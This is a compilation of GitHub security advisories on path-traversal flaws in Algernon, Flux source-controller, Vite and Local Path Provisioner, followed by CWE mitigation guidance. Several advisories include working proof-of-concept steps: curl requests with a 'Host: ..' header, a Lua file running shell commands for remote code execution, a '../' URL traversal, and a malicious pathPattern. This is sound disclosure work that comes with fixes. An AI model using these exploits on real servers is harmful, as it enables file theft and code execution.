Vulnerability from github – Published: 2026-06-23 21:49 – Updated: 2026-06-23 21:49

Summary

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Details

Summary

When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.

Details

engine/handlers.go (function RegisterHandlers, around line 510):

allRequests := func(w http.ResponseWriter, req *http.Request) {
    ...
    servedir := servedir
    if addDomain {
        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531
    }
    ...
    filename := utils.URL2filename(servedir, urlpath)

utils/web.go (GetDomain):

func GetDomain(req *http.Request) string {
    host, _, err := net.SplitHostPort(req.Host)
    if err != nil {
        return req.Host          // <— Host header returned verbatim
    }
    return host
}

utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:

func URL2filename(dirname, urlpath string) string {
    if strings.Contains(urlpath, "..") {
        return dirname + Pathsep         // dirname is trusted here
    }
    ...
}

engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):

if ac.useCertMagic {
    ...
    ac.serverAddDomain = true   // <— line 372
}

Putting it together:

The client sends Host: ... Go's HTTP server accepts the value because . is in the URI host whitelist and there are no other characters to validate; req.Host is ...
GetDomain returns .. (no port, net.SplitHostPort fails — fallback path).
filepath.Join("/srv/algernon", "..") cleans to /srv.
URL2filename("/srv", "/SECRET.txt") returns /srv/SECRET.txt, which the handler opens with FilePage.
For directory targets, DirPage lists the parent — sending / after Host: .. produces an HTML index of the parent of the docroot.
If a file with a recognised algernon extension (.lua, .tl, .po2, .amber, .frm, .md, ...) is in the parent, the matching renderer runs server-side. .lua triggers full Lua execution, including run3(...) which calls exec.Command("sh", "-c", command) (see lua/run3/run3.go:23).

Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.

This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).

PoC

Build the affected version:

git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .

Reproduce manually:

WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA

/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1

# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...

# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
#      uid=0(root) gid=0(root) groups=0(root)
#      Linux ...

Recorded output from a real run:

[2] arbitrary file read via Host: ..
    TOP-SECRET FROM PARENT DIR

[3] directory listing of parent via Host: ..
    bytes=1278, links=1
    sample:
      href="/alg.log"
      href="/site/"
      href="/SECRET.txt"

[4] Lua RCE via Host: .. when .lua exists in parent
    === RCE ===
      uid=0(root) gid=0(root) groups=0(root)
      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
    EXIT=0

Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.

Impact

An unauthenticated remote attacker who can send a single HTTP request with a Host: .. header can read arbitrary files in parent(--dir) and enumerate that directory.
When --letsencrypt is used (the recommended way to obtain HTTPS), --domain is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.
The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical --prod invocation documented in engine/config.go:208 (serverDirOrFilename = "/srv/algernon"), the parent is /srv; in multi-domain setups the parent often holds sibling site directories and shared .lua libraries.

Suggested fix

Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:

// engine/handlers.go, where addDomain is consumed
if addDomain {
    domain := utils.GetDomain(req)
    if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
        w.WriteHeader(http.StatusBadRequest)
        return
    }
    servedir = filepath.Join(servedir, domain)
}

A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.

The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n    domain := utils.GetDomain(req)\n    if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n        w.WriteHeader(http.StatusBadRequest)\n        return\n    }\n    servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",

GHSA-JJRM-HR5F-673X

Vulnerability from github – Published: 2026-06-05 16:32 – Updated: 2026-06-05 16:32

Summary

Source controller: Improper path handling allows traversal

Details

Impact

An actor with the ability to influence the contents of a bucket referenced by a Bucket resource can cause source-controller to write fetched object data to paths outside the per-reconciliation working directory.

The corruption surface is bounded by source-controller's own and downstream Flux controllers' digest verification: source-controller verifies stored artifact digests during reconciliation and rebuilds on divergence; consumers (kustomize-controller, helm-controller) verify the digest of fetched artifacts and reject mismatches. These checks prevent a manipulated artifact from reaching the cluster, but an attacker can still write files anywhere the source-controller pod has permission to write.

Separately, a user with permission to create or update GitRepository resources can cause source-controller to test for the existence of paths outside the cloned repository. Because the result is exposed via the resource's status, this allows limited enumeration of file paths on the controller pod. This surface exists only on source-controller v1.6.0 and later, where the sparse-checkout feature was introduced.

Patches

This vulnerability was fixed in source-controller v1.8.5.

Workarounds

There is no in-product workaround. Users should upgrade to a patched version.

As a defense-in-depth measure for the GitRepository sparse-checkout surface, a ValidatingAdmissionPolicy (or a third-party policy engine such as Kyverno or OPA Gatekeeper) can be deployed to reject GitRepository resources whose .spec.sparseCheckout entries contain .. or absolute path segments.

References

source-controller#2054

Credits

The path traversal in the Bucket reconciler was reported by JUNYI LIU. The path traversal in the GitRepository sparse-checkout validation was found and patched by the Flux engineering team.

GHSA-JQFW-VQ24-V9C3

Vulnerability from github – Published: 2025-09-09 20:54 – Updated: 2025-09-09 20:54

Summary

Vite's `server.fs` settings were not applied to HTML files

Details

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Severity

2.3 (Low)

Vulnerability from github – Published: 2026-02-04 20:17 – Updated: 2026-02-27 20:41

Summary

Local Path Provisioner vulnerable to Path Traversal via parameters.pathPattern

Details

Impact

A malicious user can manipulate the parameters.pathPattern to create PersistentVolumes in arbitrary locations on the host node, potentially overwriting sensitive files or gaining access to unintended directories.

Example:

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: >
      {"apiVersion":"storage.k8s.io/v1","kind":"StorageClass","metadata":{"annotations":{},"name":"local-path"},"provisioner":"rancher.io/local-path","reclaimPolicy":"Delete","volumeBindingMode":"WaitForFirstConsumer"}
    storageclass.kubernetes.io/is-default-class: 'true'
  name: local-path
provisioner: rancher.io/local-path
reclaimPolicy: Delete
parameters:
  pathPattern: "{{ .PVC.Namespace }}/{{ .PVC.Name }}/../../../../../etc/new-dir"
volumeBindingMode: WaitForFirstConsumer
Results in the PersistentVolume to target /etc/new-dir:

This produces a PersistentVolume that points to /etc/new-dir, instead of a path under the configured base directory.

Expected Behavior: - Paths generated from pathPattern should always resolve under the configured base path. - Relative path elements (e.g., ..) should be normalized or rejected.

Patches

This vulnerability is addressed by validating and normalizing the parameters.pathPattern to ensure that generated PersistentVolume paths always resolve under the configured base directory. Any path traversal attempts using relative path elements are rejected, preventing PersistentVolumes from being created in arbitrary locations on the host node.

Previously, a malicious user could manipulate pathPattern to escape the base path and create volumes pointing to sensitive or unintended directories (for example, /etc), potentially overwriting host files or gaining unauthorized access.

With this fix, path patterns that resolve outside of the base directory are denied, and only safe, normalized paths under the configured base path are allowed.

Patched versions of local-path-provisioner include releases v0.0.34 (and later).

No patches are provided for earlier releases, as they do not include the necessary path validation and normalization logic.

Workarounds

There are no workarounds for this issue. Users must upgrade to a patched version of local-path-provisioner to fully mitigate the vulnerability.

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation MIT-20.1

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-139: Relative Path Traversal

An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
